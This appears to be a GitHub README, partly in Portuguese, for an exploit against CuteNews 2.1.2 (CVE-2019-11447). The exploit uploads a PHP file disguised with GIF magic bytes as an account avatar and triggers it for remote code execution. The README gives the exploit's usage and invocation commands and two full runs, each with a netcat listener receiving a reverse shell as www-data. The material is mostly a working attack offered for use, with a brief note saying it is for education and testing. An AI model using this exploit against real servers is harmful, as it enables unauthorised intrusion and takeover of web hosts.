coldfusionx/cve-2019-11447_cutenews-avataruploadrceCódigo de Exploração para CVE-2019-11447 também conhecido como CuteNews 2.1.2 Upload de Avatar RCE (Autenticado)
Código de Exploit para CVE-2019-11447 também conhecido como CuteNews 2.1.2 Upload de Avatar RCE (Autenticado)
Links do Exploit:
Resultado esperado: Fazer login/registrar uma conta, criar um arquivo PHP selecionado pelo usuário com bytes mágicos .gif, fazer upload do arquivo como avatar e acioná-lo para obter Execução Remota de Código.
Destinado apenas para fins educacionais e testes em ambientes corporativos.
Este Exploit foi testado no Python 3.8.6
cfx: ~/cutenews
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL] [-u USERNAME] [-p PASSWORD] [-e EMAIL]
CuteNews 2.1.2 Avatar upload RCE (Authenticated) by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL CuteNews URL (Example: http://127.0.0.1)
-u USERNAME, --username USERNAME
Username to Login/Register
-p PASSWORD, --password PASSWORD
Password to Login/Register
-e EMAIL, --email EMAIL
Email to Login/Register
Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y
Este exploit espera quatro argumentos para ser executado inicialmente :
Entradas adicionais necessárias do usuário:
Exemplo: [^] Select your PHP file -> rev.php
Caso contrário, o usuário precisa especificar a localização do arquivo PHP:
Exemplo: [^] Select your PHP file -> ~/Downloads/rev.php
De qualquer forma, o exploit é projetado para exibir o local do arquivo enviado para uso posterior.
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u optimus -p prime -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] User exists ! Logged in Successfully
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://10.10.10.206/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit
cfx: ~/cutenews
→ ./exploit.py -l http://127.0.0.1 -u cold -p fusion -e [email protected]
[+] CuteNews 2.1.2 Avatar Upload RCE exploit by ColdFusionX
[+] Credentials cold:fusion Successfully Registered
[^] Select your PHP file -> rev.php
[*] Adding Magic Byte to PHP file
[+] Upload Successful !!
[*] File location --> http://127.0.0.1/CuteNews/uploads/avatar_cold_cold.php
[^] Press y/n to trigger PHP file -> y
[*] Check listener for reverse shell
[*] Execution Completed
cfx: ~/cutenews
→ nc -lvnp 8020
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8020
Ncat: Listening on 0.0.0.0:8020
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:32868.
Linux passage 4.15.0-45-generic #48~16.04.1-Ubuntu SMP Tue Jan 29 18:03:48 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
03:06:04 up 4:15, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
prime tty7 :0 22:50 4:15m 9.36s 0.69s /sbin/upstart --user
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ exit